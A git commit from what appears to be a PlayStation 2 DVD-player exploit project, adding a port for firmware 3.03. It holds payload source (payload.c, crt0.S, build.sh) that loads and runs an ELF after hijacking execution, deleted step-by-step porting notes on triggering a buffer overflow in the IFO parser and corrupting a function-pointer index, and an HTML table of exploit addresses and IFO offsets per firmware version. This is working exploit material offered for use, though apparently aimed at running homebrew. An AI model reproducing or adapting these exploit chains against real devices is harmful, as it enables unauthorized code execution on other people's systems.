3.03E initial release
This commit is contained in:
parent
74d9bbd6ad
commit
54bc503fef
14 changed files with 564 additions and 123 deletions
BIN
Filesystems/3.03E+ - English language/VIDEO_TS/VIDEO_TS.IFO
Normal file
BIN
Filesystems/3.03E+ - English language/VIDEO_TS/VIDEO_TS.IFO
Normal file
Binary file not shown.
BIN
Filesystems/3.03E+ - English language/VIDEO_TS/VTS_01_0.IFO
Normal file
BIN
Filesystems/3.03E+ - English language/VIDEO_TS/VTS_01_0.IFO
Normal file
Binary file not shown.
BIN
Filesystems/3.03E+ - English language/VIDEO_TS/VTS_02_0.IFO
Normal file
BIN
Filesystems/3.03E+ - English language/VIDEO_TS/VTS_02_0.IFO
Normal file
Binary file not shown.
20
PAYLOADS/3.03/build.sh
Normal file
20
PAYLOADS/3.03/build.sh
Normal file
|
|
@ -0,0 +1,20 @@
|
||||||
|
echo "Building payload"
|
||||||
|
|
||||||
|
ee-gcc -Ttext=0x01FFF800 payload.c -o payload.elf -nostartfiles -nostdlib -ffreestanding -Os -Wl,-z,max-page-size=0x1 # 2048
|
||||||
|
ee-objcopy -O binary payload.elf payload.bin -Wl,-z,max-page-size=0x1
|
||||||
|
|
||||||
|
ENTRY=`ee-objdump -t payload.elf | grep " _start"`
|
||||||
|
echo $ENTRY
|
||||||
|
|
||||||
|
# Doesn't seem to work on MinGW toolchain, so set manually if you're using that:
|
||||||
|
#ENTRY=0x`grep -o "^\S*" <<< $ENTRY`
|
||||||
|
ENTRY=0x01fff9a8
|
||||||
|
|
||||||
|
echo $ENTRY
|
||||||
|
echo "Building crt0"
|
||||||
|
|
||||||
|
ee-gcc -Ttext=0x015FFF34 -DENTRY=$ENTRY crt0.S -o fullpayload.elf -nostartfiles -nostdlib -ffreestanding -Wl,-z,max-page-size=0x1
|
||||||
|
ee-objcopy -O binary fullpayload.elf fullpayload.bin -Wl,-z,max-page-size=0x1
|
||||||
|
|
||||||
|
# todo make all this hex editing automatic
|
||||||
|
echo "Done. fullpayload.bin at 0x0e8c, and payload.bin at 0x3000"
|
||||||
54
PAYLOADS/3.03/crt0.S
Normal file
54
PAYLOADS/3.03/crt0.S
Normal file
|
|
@ -0,0 +1,54 @@
|
||||||
|
.set noreorder # If we're writing assembly, why would we want this?
|
||||||
|
|
||||||
|
.section .text.startup
|
||||||
|
|
||||||
|
.equ getBufferInternal, 0x262360
|
||||||
|
.equ payload, (0x2000000 - 0x800) # End of RAM
|
||||||
|
|
||||||
|
.global _start
|
||||||
|
_start:
|
||||||
|
#la $a0, 0x7f
|
||||||
|
#la $v1, 0x01
|
||||||
|
#syscall 0x01 # ResetEE
|
||||||
|
|
||||||
|
#la $a0, relo
|
||||||
|
la $a0, load
|
||||||
|
la $a1, 0
|
||||||
|
la $a2, 0
|
||||||
|
la $a3, 0
|
||||||
|
|
||||||
|
.global ExecPS2
|
||||||
|
ExecPS2:
|
||||||
|
la $v1, 7
|
||||||
|
syscall 7 # ExecPS2
|
||||||
|
|
||||||
|
load:
|
||||||
|
la $a0, 0
|
||||||
|
la $a1, 0 # 0 = VIDEO_TS.IFO, 1 = VTS_01_0.IFO
|
||||||
|
la $a2, 0x3000 / 0x800 # lba offset in file
|
||||||
|
la $a3, payload # Destination
|
||||||
|
la $t0, 0x800 / 0x800 # Count
|
||||||
|
la $t1, 0
|
||||||
|
la $v0, getBufferInternal
|
||||||
|
jalr $v0
|
||||||
|
nop
|
||||||
|
|
||||||
|
#relo:
|
||||||
|
# Relocate payload to end of RAM
|
||||||
|
# la $a0, (0x2000000 - 1024)
|
||||||
|
# la $a1, payload
|
||||||
|
# la $a2, 2048
|
||||||
|
# la $v0, memcpy
|
||||||
|
# jalr $v0
|
||||||
|
|
||||||
|
boot:
|
||||||
|
la $v1, 0x64; la $a0, 0; syscall 0x64 # FlushCache data writeback
|
||||||
|
la $v1, 0x64; la $a0, 2; syscall 0x64 # FlushCache instruction invalidate
|
||||||
|
|
||||||
|
# Point stack to end of scratchpad RAM
|
||||||
|
la $sp, 0x70004000
|
||||||
|
|
||||||
|
# Execute from relocated place
|
||||||
|
la $v0, ENTRY
|
||||||
|
j $v0
|
||||||
|
nop
|
||||||
BIN
PAYLOADS/3.03/fullpayload.bin
Normal file
BIN
PAYLOADS/3.03/fullpayload.bin
Normal file
Binary file not shown.
BIN
PAYLOADS/3.03/fullpayload.elf
Normal file
BIN
PAYLOADS/3.03/fullpayload.elf
Normal file
Binary file not shown.
BIN
PAYLOADS/3.03/payload.bin
Normal file
BIN
PAYLOADS/3.03/payload.bin
Normal file
Binary file not shown.
141
PAYLOADS/3.03/payload.c
Normal file
141
PAYLOADS/3.03/payload.c
Normal file
|
|
@ -0,0 +1,141 @@
|
||||||
|
#include <stddef.h>
|
||||||
|
|
||||||
|
// Pick one
|
||||||
|
#define LOAD_FROM_VTS_02_0_IFO
|
||||||
|
//#define LOAD_FROM_SECTOR_RELATIVE_TO_VIDEO_TS_IFO (151 - 138 - 7)
|
||||||
|
|
||||||
|
#define min(a, b) (((a) < (b)) ? (a) : (b))
|
||||||
|
|
||||||
|
#define pointToIFO ((void (*)(unsigned int index, unsigned int lba, unsigned int offset))0x2432c8)
|
||||||
|
#define getDiscData ((void (*)(unsigned int s, void *d))0x243438)
|
||||||
|
|
||||||
|
#define SifIopReset ((int (*)(char *, int))0x291fb8)
|
||||||
|
#define SifIopSync ((int (*)(void))0x292138)
|
||||||
|
#define SifInitRpc ((void (*)(int))0x2082a0)
|
||||||
|
#define SifExitRpc ((void (*)(void))0x208440)
|
||||||
|
|
||||||
|
#define getBufferInternal ((int (*)(void *filename, int type, int currentSector, void *dest, unsigned int sectorsRemaining, int curReadPos))0x262360)
|
||||||
|
|
||||||
|
#define ELF_PT_LOAD 1
|
||||||
|
|
||||||
|
typedef unsigned char u8;
|
||||||
|
typedef unsigned short u16;
|
||||||
|
typedef unsigned int u32;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
u8 ident[16];
|
||||||
|
u16 type;
|
||||||
|
u16 machine;
|
||||||
|
u32 version;
|
||||||
|
u32 entry;
|
||||||
|
u32 phoff;
|
||||||
|
u32 shoff;
|
||||||
|
u32 flags;
|
||||||
|
u16 ehsize;
|
||||||
|
u16 phentsize;
|
||||||
|
u16 phnum;
|
||||||
|
u16 shentsize;
|
||||||
|
u16 shnum;
|
||||||
|
u16 shstrndx;
|
||||||
|
} elf_header_t;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
u32 type;
|
||||||
|
u32 offset;
|
||||||
|
void *vaddr;
|
||||||
|
u32 paddr;
|
||||||
|
u32 filesz;
|
||||||
|
u32 memsz;
|
||||||
|
u32 flags;
|
||||||
|
u32 align;
|
||||||
|
} elf_pheader_t;
|
||||||
|
|
||||||
|
__attribute__((noreturn)) void ExecPS2(void *entry, void *gp, int argc, char **argv) {
|
||||||
|
asm volatile("la $v1, 7; syscall 7");
|
||||||
|
//__builtin_unreachable();
|
||||||
|
}
|
||||||
|
|
||||||
|
void *memcpy_(void *dest, void *src, size_t n) {
|
||||||
|
int i;
|
||||||
|
for(i = 0; i < n; i++) ((unsigned char *)dest)[i] = ((unsigned char *)src)[i];
|
||||||
|
return dest;
|
||||||
|
}
|
||||||
|
|
||||||
|
void *memset(void *dest, int c, size_t n) {
|
||||||
|
int i;
|
||||||
|
for(i = 0; i < n; i++) ((unsigned char *)dest)[i] = c;
|
||||||
|
return dest;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void readData(void *dest, unsigned int offset, size_t n) {
|
||||||
|
unsigned char buffer[0x800];
|
||||||
|
|
||||||
|
unsigned int copied = 0;
|
||||||
|
#define remaining (n - copied)
|
||||||
|
|
||||||
|
if(offset % 0x800) {
|
||||||
|
getBufferInternal("", 1, offset / 0x800, buffer, 1, 0);
|
||||||
|
memcpy_(dest, buffer + offset % 0x800, min(0x800 - (offset % 0x800), n));
|
||||||
|
copied += min(0x800 - (offset % 0x800), n);
|
||||||
|
}
|
||||||
|
|
||||||
|
if(remaining >= 0x800) {
|
||||||
|
getBufferInternal("", 1, (offset + copied) / 0x800, dest + copied, remaining / 0x800, 0);
|
||||||
|
copied += (remaining / 0x800) * 0x800;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(remaining > 0) {
|
||||||
|
getBufferInternal("", 1, (offset + copied) / 0x800, buffer, 1, 0);
|
||||||
|
memcpy_(dest + copied, buffer, remaining);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
__attribute__((noreturn)) void _start(void) {
|
||||||
|
//Exit(0);
|
||||||
|
//asm volatile("la $v1, 0x04; la $a0, 0; syscall 0x04");
|
||||||
|
|
||||||
|
int i;
|
||||||
|
|
||||||
|
#ifdef LOAD_FROM_VTS_02_0_IFO
|
||||||
|
// point to VTS_02_0.IFO
|
||||||
|
pointToIFO(2, 0, 0);
|
||||||
|
|
||||||
|
// Force a read from VTS_02_0.IFO
|
||||||
|
char head[64];
|
||||||
|
getDiscData(64, &head);
|
||||||
|
|
||||||
|
#define RELATIVE_SECTOR 0
|
||||||
|
#else
|
||||||
|
#define RELATIVE_SECTOR LOAD_FROM_SECTOR_RELATIVE_TO_VIDEO_TS_IFO
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// Based on https://github.com/AKuHAK/uLaunchELF/blob/master/loader/loader.c
|
||||||
|
elf_header_t eh;
|
||||||
|
readData(&eh, RELATIVE_SECTOR * 0x800, sizeof(elf_header_t));
|
||||||
|
|
||||||
|
elf_pheader_t eph[eh.phnum];
|
||||||
|
readData(&eph, RELATIVE_SECTOR * 0x800 + eh.phoff, sizeof(elf_pheader_t) * eh.phnum);
|
||||||
|
|
||||||
|
for (i = 0; i < eh.phnum; i++) {
|
||||||
|
if (eph[i].type != ELF_PT_LOAD)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
readData(eph[i].vaddr, RELATIVE_SECTOR * 0x800 + eph[i].offset, eph[i].filesz);
|
||||||
|
if(eph[i].memsz > eph[i].filesz) memset(eph[i].vaddr + eph[i].filesz, 0, eph[i].memsz - eph[i].filesz);
|
||||||
|
}
|
||||||
|
|
||||||
|
asm volatile("la $v1, 0x64; la $a0, 0; syscall 0x64"); // FlushCache data writeback
|
||||||
|
asm volatile("la $v1, 0x64; la $a0, 2; syscall 0x64"); // FlushCache instruction invalidate
|
||||||
|
|
||||||
|
//while(!SifIopReset("", 0));
|
||||||
|
//while(!SifIopSync());
|
||||||
|
|
||||||
|
//while(!SifIopReset("rom0:UDNL rom0:EELOADCNF", 0));
|
||||||
|
SifIopReset("rom0:UDNL rom0:EELOADCNF", 0);
|
||||||
|
while(!SifIopSync());
|
||||||
|
|
||||||
|
SifInitRpc(0);
|
||||||
|
SifExitRpc();
|
||||||
|
|
||||||
|
ExecPS2((void *)eh.entry, 0, 0, 0);
|
||||||
|
}
|
||||||
BIN
PAYLOADS/3.03/payload.elf
Normal file
BIN
PAYLOADS/3.03/payload.elf
Normal file
Binary file not shown.
Binary file not shown.
|
|
@ -62,6 +62,7 @@ Boot your PlayStation 2 without any disc inserted, and press Triangle to identif
|
||||||
|
|
||||||
**Currently only support:**
|
**Currently only support:**
|
||||||
|
|
||||||
|
- 3.03 (tested only region E in emulator as other BIOS versions aren't available to me, but guess other regions will work - with English language set in settings),
|
||||||
- 3.04 (tested only region M in emulator so far, but guess most other regions EUMACDG, except for J will work - with English language set in settings),
|
- 3.04 (tested only region M in emulator so far, but guess most other regions EUMACDG, except for J will work - with English language set in settings),
|
||||||
|
|
||||||
### Step 2: Download the ISO
|
### Step 2: Download the ISO
|
||||||
|
|
|
||||||
|
|
@ -1,123 +0,0 @@
|
||||||
OK, so turns out porting to different regions/languages is just a matter of finding new jump target, which isn't too difficult.
|
|
||||||
|
|
||||||
Prefer using jump targets which aren't part of the language data, so that exploit is compatible with all languages. I might go back and redo 3.10 for this reason.
|
|
||||||
|
|
||||||
Porting to different versions, means finding all the function addresses again, which is the time consuming bit.
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
porting to 3.11J (English language)
|
|
||||||
|
|
||||||
make memory dump for EE (PCSX2 save state, rename to zip extract, eeMemory.bin)
|
|
||||||
search DVDVIDEO-VMG = 0x014331c8
|
|
||||||
memory write breakpoint to find sb instruction at 0x00258BC8
|
|
||||||
decompile that in Ghidra, you'll see getDiscData is 0x258b98, and getDiscByte is 0x258ac8
|
|
||||||
inside getDiscByte, we can see that currentDiscBytePointer is 0x143b3e4 and endDiscBytePointer is 0x143b3e8
|
|
||||||
xref getDiscData, 20 locations, go through them till you find the buffer overflow described in my post which copies with size (a + b + c) * 8, it's the call at 0x257564
|
|
||||||
note destination of copy, which is 0x14351cc
|
|
||||||
so we control range 0x14351cc - 0x15B51B4 (0x14351cc + 3 * 0xffff * 8)
|
|
||||||
go to destination + roughly 0x6A76 and search for fpIndex (xrefs will be functions looking like setFpIndex and the OOB call as shown in my post)
|
|
||||||
fpIndex is at 0x143bc4a
|
|
||||||
OOB call is at 0x25ab44 (actually there are more than 1, but this one is executed first - set memory read breakpoint on fpIndex to find it)
|
|
||||||
note the base of the function pointer array, in this case 0x003b3050
|
|
||||||
dump the memory from base till 0x003b3050 + 4 * 0xffff = 0x3F304C, group into 4 bytes and search for jump targets that fit within overflow range
|
|
||||||
eg: searching for "14352... " I see some results
|
|
||||||
must also be 4 byte aligned
|
|
||||||
3.11 is actually pretty good, there are quite a few results that should work, if not you can try switching languages and there will be different jump targets to check
|
|
||||||
0x01522944 looks pretty good, it's at 0x3E4A74, so index would be (0x3E4A74-0x003b3050)/4 = 0xC689
|
|
||||||
ok, we have everything we need - let's make the IFO exploit file
|
|
||||||
the copy size should be at the same offset since that's part of the spec, so no need to change that
|
|
||||||
now run and break at the copy (0x257564), v1 is 0xffff so we're triggering the bug :)
|
|
||||||
set a memory write breakpoint for the byte just before currentDiscBytePointer (0x143b3e4 - 1), wait till its set by the sb instruction in getDiscData
|
|
||||||
now note down currentDiscBytePointer's value, it's 0x0143a94c (so will be +1 by the time we are writing currentDiscBytePointer)
|
|
||||||
goto that in the memory viewer to see where we're copying from
|
|
||||||
we can see the "ABOVE 3" note I wrote to myself just below it (just an arbitrary marker point), so we can work out that this corresponds to offset 0x000277c in the IFO
|
|
||||||
we write currentDiscBytePointer's same value, and then 0xffffff for endDiscBytePointer next to it
|
|
||||||
run again and make sure it overwrites the same value it already has (easy to get off-by-one here)
|
|
||||||
that's probably the hardest part done now, we are now overwriting fpIndex and payload space with controlled contents
|
|
||||||
break at writing fpIndex (0x143bc4a), and see it's corrupted by getDiscData
|
|
||||||
note down currentDiscBytePointer value, it's 0x0143b1b3
|
|
||||||
goto that in memory view and look what it's near to, we see that the 7e e0 fpIndex for 3.10 is just above
|
|
||||||
so we can count our offset will be at offset 0x2fe2 in the IFO
|
|
||||||
we wanted to corrupt that to 89 c6, which should lead to jumping to 0x01522944
|
|
||||||
run again and now break at the OOB call (0x25ab44)
|
|
||||||
sure enough we can trace it and see jump v0 which is 0x01522944 (we got lucky and already corrupted the thing that stops resetting fpIndex)
|
|
||||||
now we just need to run again to the copy, and break at writing 0x01522944 to find where to start our initial payload in the IFO
|
|
||||||
currentDiscBytePointer value is 0x01521ead, which is just above where we put payload for 3.10, at offset 0x2ba4
|
|
||||||
BOOM! We have arbitrary code execution.
|
|
||||||
for now, I haven't reimplemented everything needed by the loader, so we need to find a few functions to use in our loader - this will be improved in future
|
|
||||||
you need getBufferInternal (getBuffer is called inside getDiscByteInternal, 0x295518 in our case, and then getBufferInternal is called inside that, 0x2952f0 for us)
|
|
||||||
getDiscData (we already have it, 0x258b98)
|
|
||||||
pointToIFO (search for call to getDiscData, and it'll be near those calls - called like pointToIFO(param_1,0,0x80) and calls getDiscByteInternal inside) in our case 0x258a28
|
|
||||||
SifIopReset (0x20e7d8), SifInitRpc (0x208d80), SifExitRpc (0x208f20) - for these, find SifIopReboot first, which is easy because of "rom0:UDNL " string (see https://github.com/ps2dev/ps2sdk/blob/8b7579979db87ace4b0aa5693a8a560d15224a96/ee/kernel/src/iopcontrol.c#L82) and look at the calls inside that match
|
|
||||||
SifIopSync (0x20e958) - look for a call to SifIopReset and looping call just after
|
|
||||||
edit build.sh to place correct loading address and offsets, and recompile!
|
|
||||||
Insert fullpayload.bin into VIDEO_TS.IFO at offset 0x2ba4
|
|
||||||
test, and see ule boot successfully in pcsx2!
|
|
||||||
|
|
||||||
|
|
||||||
3.11 all (English language)
|
|
||||||
getDiscData and getDiscByte seem the same as in 3.11J
|
|
||||||
overflow call is also at 0x257564
|
|
||||||
fpIndex also 0x143bc4a
|
|
||||||
oob jump also at 0x0025A618
|
|
||||||
it's just the jump targets that are different
|
|
||||||
dump 0x3b3050 to 0x3b3050 + 0xffff * 4 = 0x3F304C
|
|
||||||
we have a nice one! 01500014 will work - same as we used for 3.10EU lol :)
|
|
||||||
that's at 0x3EA438, so index (0x3EA438-0x3b3050)/4 = 0xDCFA
|
|
||||||
so patch the IFO, same offset as for 3.11J (0x2fe2) to fa dc
|
|
||||||
now break at writing payload (0x1500014)
|
|
||||||
currentDiscBytePointer points to 0x014ff57d
|
|
||||||
nearest landmark is "ABOVE 3" string at 0x14ff41b
|
|
||||||
so payload goes at ABOVE 3 location in IFO + (0x014ff57d - 0x14ff41b) - 1 = 0x2954
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
hybrid 3.10 + 3.11
|
|
||||||
so starting with a 3.11 base VIDEO_TS.IFO
|
|
||||||
currentDiscBytePointer offset for 3.10 is 00002744
|
|
||||||
for 3.11 is 0000277c
|
|
||||||
copy 3.10 currentDiscBytePointer and endDiscBytePointer corruption to its offset (8 bytes at 00002744)
|
|
||||||
fpIndex for 3.10 is offset 00002faa, so copy those 2 bytes over
|
|
||||||
payload needs to be modified to load stage 2 differently, I just moved it from 0x3000 to 0x38000
|
|
||||||
payload for 3.10 is at 0x2bb4 copy that over
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
3.04 (M tested only so far, but probably all regions work)
|
|
||||||
getDiscData - 0x23e138
|
|
||||||
getDiscByte - 0x23e068
|
|
||||||
currentDiscBytePointer - 0x16ceee4
|
|
||||||
endDiscBytePointer - 0x16ceee8
|
|
||||||
|
|
||||||
0x23cb04 is the copy we want, but I actually decided to look at different buffer overflows in case it is useful for hybrid-ing, here they all are:
|
|
||||||
|
|
||||||
Location Destination Max Size End
|
|
||||||
0x23bd4c 0x16c6d60 0xffff * 0xc 0x1786D54
|
|
||||||
0x23c48c 0x16c79d8 0xffff * 4 0x17079D4
|
|
||||||
0x23cb04 0x16c8cd4 0xffff * 3 * 8 0x1848CBC
|
|
||||||
0x23cc74 0x16c8cd4 0xffff * 4 0x1708CD0
|
|
||||||
|
|
||||||
writing currentDiscBytePointer, it's value is 0x016ce444
|
|
||||||
offset in IFO is 0x2744 - uh on we have collision with 3.10, might not be possible to make hybrid disc with both of those
|
|
||||||
will need more crazy tricks to do that... we'll see
|
|
||||||
in mean time, doing 3.04 only disc
|
|
||||||
|
|
||||||
OOB call is at 0x23faac
|
|
||||||
fpIndex at 0x16cf74a
|
|
||||||
function pointer array - 0x95ace8
|
|
||||||
select 0x95ace8 to 0x95ace8 + 0xffff * 4 = 0x99ACE4
|
|
||||||
looking for jump targets, we have some starting with 0x018...
|
|
||||||
01800180 at 0x95CF40, so index (0x95CF40-0x95ace8)/4 = 0x0896
|
|
||||||
fpIndex offset in IFO is 0x2faa
|
|
||||||
payload offset in IFO is 0x2d00
|
|
||||||
|
|
||||||
getBufferInternal - 0x261548
|
|
||||||
pointToIFO - 0x23dfc8
|
|
||||||
getDiscData - 0x23e138
|
|
||||||
SifIopReboot - 0x291528
|
|
||||||
SifInitRpc - 0x208260
|
|
||||||
SifExitRpc - 0x208400
|
|
||||||
SifIopReset - 0x291358
|
|
||||||
SifIopSync - 0x2914d8
|
|
||||||
348
portingnotes.html
Normal file
348
portingnotes.html
Normal file
|
|
@ -0,0 +1,348 @@
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<style>
|
||||||
|
table {
|
||||||
|
font-family: arial, sans-serif;
|
||||||
|
border-collapse: collapse;
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
td, th {
|
||||||
|
border: 1px solid #dddddd;
|
||||||
|
text-align: left;
|
||||||
|
padding: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
tr:nth-child(even) {
|
||||||
|
background-color: #dddddd;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<h1>3.03 - 3.11</h1>
|
||||||
|
<p>
|
||||||
|
These firmware versions all have the same getDiscData 0xffff * 3 * 8 buffer overflow of immediately controllable contents.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<th></th>
|
||||||
|
<th>3.03</th>
|
||||||
|
<th>3.04J</th>
|
||||||
|
<th>3.04M</th>
|
||||||
|
<th>3.10</th>
|
||||||
|
<th>3.11</th>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th style="text-align: center" colspan="6">Symbols</th>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>getDiscData</th>
|
||||||
|
<td></td>
|
||||||
|
<td>0x23e150</td>
|
||||||
|
<td>0x23e138</td>
|
||||||
|
<td>0x25c9f0</td>
|
||||||
|
<td>0x258b98</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>getDiscByte</th>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td>0x23e068</td>
|
||||||
|
<td>0x25c920</td>
|
||||||
|
<td>0x258ac8</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>currentDiscBytePointer</th>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td>0x16ceee4</td>
|
||||||
|
<td>0x1411fe4</td>
|
||||||
|
<td>0x143b3e4</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>endDiscBytePointer</th>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td>0x16ceee8</td>
|
||||||
|
<td>0x1411fe8</td>
|
||||||
|
<td>0x143b3e8</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>0xff * 3 * 8 overflow</th>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td>0x23cb04</td>
|
||||||
|
<td>0x25b3bc</td>
|
||||||
|
<td>0x257564</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>fpIndex</th>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td>0x16cf74a</td>
|
||||||
|
<td>0x141284a</td>
|
||||||
|
<td>0x143bc4a</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>fpArray</th>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td>0x95ace8</td>
|
||||||
|
<td>0x5b9d40</td>
|
||||||
|
<td>0x3b3050</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>OOB call</th>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td>0x23faac</td>
|
||||||
|
<td>0x25e388</td>
|
||||||
|
<td>0x25ab44</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>getBufferInternal</th>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td>0x261548</td>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>pointToIFO</th>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td>0x23dfc8</td>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>SifIopReboot</th>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td>0x291528</td>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>SifInitRpc</th>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td>0x208260</td>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>SifExitRpc</th>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td>0x208400</td>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>SifIopReset</th>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td>0x291358</td>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>SifIopSync</th>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td>0x2914d8</td>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th style="text-align: center" colspan="6">Controlled memory ranges</th>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>Destination of large copy</th>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td>0x16c8cd4</td>
|
||||||
|
<td>0x140bdd4</td>
|
||||||
|
<td>0x14351cc</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>Destination + max size</th>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td>0x1848CBC</td>
|
||||||
|
<td>0x158BDBC</td>
|
||||||
|
<td>0x15B51B4</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>Sector buffer (getDiscByteInternal)</th>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td>0x16cad40</td>
|
||||||
|
<td>0x140de40</td>
|
||||||
|
<td></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th style="text-align: center" colspan="6">Exploit values</th>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>currentDiscBytePointer value at overwrite</th>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td>0x016ce444</td>
|
||||||
|
<td>0x01411544</td>
|
||||||
|
<td>0x0143a94c</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>Jump target</th>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td>0x01800180</td>
|
||||||
|
<td>0x01500014</td>
|
||||||
|
<td>0x01500014</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>Address of jump target</th>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td>0x95CF40</td>
|
||||||
|
<td>0x5f1f38</td>
|
||||||
|
<td>0x3EA438</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th style="text-align: center" colspan="6">IFO offsets</th>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>currentDiscBytePointer</th>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td>0x2744</td>
|
||||||
|
<td>0x2744</td>
|
||||||
|
<td>0x277c</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>fpIndex</th>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>Payload</th>
|
||||||
|
<td></td>
|
||||||
|
<td></td>
|
||||||
|
<td>0x2d00</td>
|
||||||
|
<td>0x2bb4</td>
|
||||||
|
<td>0x2954</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<br>
|
||||||
|
|
||||||
|
<h2>Conflicts</h2>
|
||||||
|
<p>
|
||||||
|
In order to merge 2 exploits into a single ISO there must be either:
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<ul>
|
||||||
|
<li>No conflict between offset of currentDiscBytePointer corruption value in IFO file so that the two versions can specify different addresses (3.10 and 3.11),</li>
|
||||||
|
<li>Controlled memory at a common address between the two versions so that currentDiscBytePointer can be written to controlled memory region for both (3.04J and 3.04M),</li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
We might also be able to force a non-conflict between 2 versions by making use of 2 different buffer overflows. That would need to be experimented with. Until then, here is a table for the versions with conflicting currentDiscBytePointer IFO offsets which we would need to be common controlled memory regions for:
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<th></th>
|
||||||
|
<th>Common controlled memory</th>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>3.04 + 3.10</th>
|
||||||
|
<td>Couldn't find any</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>3.04J + 3.04M</th>
|
||||||
|
<td></td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<br>
|
||||||
|
|
||||||
|
<h1>< 3.03</h1>
|
||||||
|
<p>
|
||||||
|
These firmwares don't use the same getDiscData stream reader API, instead they manually call getBuffer and then memcpy from that sectorBuffer somewhere else. They still contain the vulnerability, but as it occurs from memcpy of OOB memory into other OOB memory, it is not just immediately possible for the full memory range overflowed with to contain fully controlled contents.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
Let's look at 3.02 specifically.
|
||||||
|
